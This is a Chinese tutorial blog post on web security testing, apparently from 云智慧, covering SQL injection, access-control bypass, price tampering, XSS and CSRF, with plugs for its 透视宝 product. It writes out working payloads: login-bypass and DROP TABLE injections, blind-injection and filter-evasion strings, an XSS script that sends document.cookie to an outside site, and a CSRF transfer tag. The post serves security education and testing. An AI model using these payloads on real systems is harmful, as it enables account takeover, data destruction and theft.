云智慧 汪晓宇 安全测试是在IT软件产品的生命周期中,特别是产品开发基本完成到发布阶段,对产品进行检验以验证产品符合安全需求定义和产品质量标准的过程。一句话总结,安全测试就是检查产品是否满足安全需求的过程。 众所周知软件测试分为四大类型,分别是:功能测试、自动化测试、安全测试和性能测试,而安全测试是在功能测试和自动化测试之后,性能测试之前执行的,以免安全测试后修改的一些问题会影响性能。 安全测试的内容通常包括跳过权限验证、修改提交的请求信息等等,复杂一些的产品还要进行SQL注入,跨站点脚本之类的测试,下面我们来看看安全问题对于互联网产品的威胁。 SQL注入 由于程序员的水平及工作经验参差不齐,相当一大部分程序员在编写程序的时候对用户输入数据的合法性没有进行判断,就给应用程序带来一定的安全隐患,用户可以通过提交一段数据库查询代码,在得到的结果中分析出他想要的数据,这就是所谓的SQL Injection,即SQL注入。 对于一个产品或网站来说,如果缺少安全性测试,攻击者可能会通过SQL盲注等方法直接暴库(获取所有的数据库)或是获取当前项目所使用的数据库名称、Web应用使用的账户、表、表结构、字段名甚至数据库中存储的数据内容等,这就是为什么我们的底层连接数据库代码要用一些防SQL注入技术的原因了。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看服务器日志的习惯,可能被入侵很长时间都不会发觉。 展示一个最基本的漏洞:
某个系统登录页面,按照如图方式输入用户面密码后点击登录,结果登录成功了,为什么呢? 登录模块的经典SQL为: select id from user where uname=’+ username + ’and pwd=’+ password+’ 假如用户名为admin,密码为123456的用户登录该系统,那么登录时所产生的SQL语句如下: select id from user where uname=’admin’and pwd=’123456’ 而如果照图中的所示恶意输入的话,该SQL就变成如下所示: select id from user where uname=‘admin’and pwd=’‘or’1=1’ 或者来个更简单的直接把用户名输入成:admin‘— 这样就以管理员的方式登录进去了或者以uname用户成功登录,对于SQL解析器来说,这是一个可以被解析并且可以被执行的SQL语句。 我们知道mysql代码的注释是用—来表示的,若我们变一下上面的SQL语句: select id from user where uname=’’**or’1=1’;drop table user ;–’*and pwd=’' 如上红色部分是我们的输入,这样我们的SQL仍然可以被正确解析,导致user表被删除(如果有删除表权限的话);如果没有删除表权限的话也没关系,我们可以用delete from user删除整张表的数据来代替删除整张表的效果。 当然,根据SQL需要的参数类型不同,所需的注入参数类型也不同,一般判断某一参数点是否存在SQL注入的话可以用如下两种方式: 1.在参数后面直接加‘来观察是不是报错,如果发现数据库报内部错误,则可以断定有SQL注入的问题。 2.如果参数类型是int型,可以用and 1=1;and 1=2来判断,如果and 1=1可以搜索出来,而and 1=2搜索出来的结果为null或报错,那么我们认识存在SQL注入漏洞,因为如果and 1=1和and 1=2没有被打入系统的话,两个返回值应该与原始值一致,如果两个都被完全当做字符打入系统两个返回值应该都是空,如下图1;对于String类型来说,我们可以用’and ‘1’=’1以及 ‘and ‘1’=’2来的判断,如下图2,道理与int类型一样。如果是搜索型参数的话可以用‘and’%’来注入,如下图3.根据实际遇到的情况不同需要有意识的去分析需要注入的参数,从而得到注入语句。 确定了SQL注入漏洞的存在,作为测试人员可以将这个漏洞报给开发人员进行修复,但作为安全爱好者我们可以做的更多。最基本的方式是使用简单的SQL 语句去猜解表名及字段名,确认表名的方法可以用and true ,and false 的方式来判断,如:and (select count() from user)>0 返回为空 证明user表存在,返回与原始页面一致,则证明不存在;还有确认字段的方法,如:and (select count(username) from user)>0;我们来重点说说确认字段值的方法,这块挺好玩的。 咱们以字符型来举个例子,假如有username字段,首先你要知道字段值的长度是多少,用如下语句: and (select length(username) from users where id=1)=1~10 其次,需要找出每一位上面的字母(a-z A-z 0-9) and substr ((select usernname from users where id=1),1,1)=‘a’–'z’ 当然也可以用ASCII的方法: and (select ASCII(substr (username,1,1)) from users where id=1)=0~128 来看个实例: 1.先获取长度,通过burpsuite工具拦截有sql注入的请求,对图中高亮处进行参数化,获取到的name字段值长度为4;
2.再对应获取name字段值的每一位,然后分别把获取到的每一位对应ASCll码中的值(参数化时是0~128)找出来就可以了。
字符的方式参数化时a~z A~Z 0~9,设置这些就可以了。
有时候开发人员会有意识的执行某种输入过滤以防止攻击者输入如’.selecet等字符,下面来看下怎么避开过了字符: 3.使用ASCII码动态构建替代,如在输入中单引号被屏蔽,我们可以尝试使用字符的ASCII码代替:CHAR (39)。 4.如果select关键字被屏蔽,尝试使用URL hex编码: %00SELECT %53%45%4c%45%43%54 有些开发人员可能会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,大家可以用selecT这样尝试一下。在猜不到字段名时,不妨看看网站上的表单,一般为了方便字段名都与表单的输入框取相同的名字。 特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,还有就是用Get方法注入时,IIS、Apache等Web服务器会记录你提交的所有字符串,而对Post方法则不做记录,所以能用 Post的网址尽量不用Get。
不过使用透视宝产品的同学就不用有此顾虑啦,因为透视宝底层连接数据库的代码已经用了一些防SQL注入的技术,大可放心使用! 权限控制的危害 接下来说说权限控制,权限就好像公司的门禁,只有带了门禁卡的同学才可以随便进出,而没有门禁的人虽然可以出去,但是安全的公司只能让里面的同学开门或别人刷卡才允许进来,这就是最简单的权限。如果少了安全性的保障,那么就会有一些人跳过权限去做一些他们不该做的事情。 举个简单的例子,一个登陆模块只有输入注册过的用户名密码才能登录成功,然后我们就老老实实的输入我们自己注册过的用户名密码(如[email protected] /123 ),然后就可以登陆成功了。然而假如我们输入一个不存在的用户名呢? 先来看个SQL,登录模块到数据库对比用的是如下SQL: select count() from user where uname="[email protected]" and pwd=“123” 当然实际应用中的SQL会比这个复杂的多,若在SQL后边加一些特殊的字符串‘ or '1=1其结果会是什么样呢? select count() from user where uname=" [email protected] " and pwd=“” or "1=1" 我们成功的绕过登录权限认证了……说好的只有注册过的用户才能登录的呢?!……感觉再也不相信爱了有木有…… 访问控制大体可以分为三大类:垂直访问控制、水平访问控制和上下文相关访问控制。如果想证明一个电商系统没有权限问题,需要验证以下几点: 第一,登录是否可以不经授权,也就是说有些请求本来是需要登录后才能访问的请求,结果在没有登录的情况下直接访问该请求时也能访问成功; 第二,有无越权问题,比如普通用户是否可以访问只有管理员用户才能访问的请求,如果可以说明存在越权的安全漏洞; 第三,如用户A和用户B同属于普通用户,每个人的访问请求差不多,但显示的内容会不一样,这时可以看看B是否能看到只有A才有权限看的内容; 第四,有些功能需要分段操作才能成功,例如找回密码功能,要先输入用户账号,再通过回答各种密保问题,最后才能到获取密码,这时候如果某一步没有做好权限控制,就可能导致应用忽略之前的验证结果而直接执行当前阶段问题; 第五,基于Referer消息头的访问控制,尝试执行一些获得授权的特权操作,并提交一个缺少 Referer消息头或其被修改的请求,如果这种改变导致应用程序阻止请求,应用程序很可能以不安全的方式使用Referer消息头。这样继续尝试使用一个未通过验证的用户账户执行相同操作,但提交原始的Referer消息头,确认系统是否能够成功执行该操作,有可能获取管理员权限。 接下来说说修改提交数据内容,比如我们上某宝买一个肾8,需要支付金额10000 RMB,支付的时候通过工具拦截支付请求,修改金额为1 RMB ,提交后发现竟然支付成功了。OMG!喜欢苹果的小朋友再也不用担心自己的肾了,哈哈。这些都是因为代码里只在前端做了验证,而后端没有做二次验证所导致的漏洞,透视宝产品几乎所有的验证都是在后端做验证,所以压根就不用担心会出现客户端绕过的漏洞啦。
跨站脚本的安全隐患 最后简单说说跨站脚本的安全隐患,跨站脚本攻击(Cross Site Scripting,简称XSS)是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中,用户在观看网页时恶意脚本就会执行。这类攻击通过注入 HTML或js等脚本发动,攻击成功后攻击者可以得到私密网页内容和Cookies等,最近几年XSS攻击已经成为最流行的Web攻击方式。
XSS主要分成三大类: 1.反射式 XSS:不存储到数据库中,直接通过页面302跳转显示到页面的,仅在页面上及时显示恶意脚本,测试方法是<script>alert(‘xss’) ;</script>、<script>alert(doucument.cookie) ;</script>; 2.存储式 XSS:存储到数据库中,然后从数据库中读取出来显示到页面上; 3.基于DOM的XSS:不保存到数据库也不与后台发生请求关系,只在dom或js上。 XSS的危害包括盗取各类用户帐号(机器登录帐号、用户网银帐号、各类管理员帐号),控制数据(包括读取、篡改、添加、删除企业敏感数据的能力),盗窃企业重要的具有商业价值的资料,非法转账,强制发送网站挂马,控制受害者机器向其它网站发起攻击等…… 举个存储式XSS漏洞的例子,在一个交友网站上有人在个人信息里写了一段脚本,如:
<script>window.open(http://www.mysite.com?yourcookie =document.cookie)</script>而该网站没有对该段内容进行正确编码,那么网站其他用户看到这个用户信息页时,就会将当前的cookie提交到该用户的web站点上。 关于xss漏洞的资料大家自己可以在网上搜索了解,我这了就不仔细描述啦~
CSRF跨站请求伪造 既然说到XSS,那么顺便把CSRF也简单说下吧,CSRF(Cross-site Request Forgery)是跨站请求伪造的意思,也被称为“one click attack”或者session riding,通常缩写为CSRF 或者XSRF, 是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式几乎相左。 XSS 利用站点内的信任用户(受害者),而CSRF 通过伪装来自受信任用户的请求来利用受信任的网站,通过社会工程学的手段(如通过电子邮件发送一个链接) 来蛊惑受害者进行一些敏感性的操作,如修改密码、修改E-mail、转账等,而受害者还不知道他已经中招。 CSRF 的破坏力依赖于受害者的权限,如果受害者只是个普通的用户, 则一个成功的CSRF 攻击会危害用户的个人数据以及一些功能;如果受害者具有管理员权限,则一个成功的CSRF攻击甚至会威胁到整个网站的安全。与XSS 攻击相比,CSRF 攻击往往不太流行(因此对其进行防范的资源也相当稀少)和难以防范,故被认为是比XSS更具危险性的,所以CSRF在业内有个响当当的名字——沉睡的巨人。 举个典型的CSRF例子:
Alice 登录了某金融网站mybank.com准备进行网上支付,Bob 知道这个金融网站并且意识到这个站点的转账功能有 CSRF 漏洞,于是Bob在myblog.com上发表了一条日志,这个日志支持 img 自定义功能,Bob 插入了这么一行HTML 代码: <imgsrc=http://mybank.com/transferMoney.jsp?to=Bob&cash=3000 width=“1” height=“1” border=“0” /> Alice 在自己的浏览器上打开了另一个标签页正好读到这个页面,于是Alice 的账户就不知不觉地向Bob 的账户转账3000 元,而她却毫不知情。 本次分享就先到这里吧,只是启蒙下,详细的过程以后有机会再给大家一一介绍,谢谢~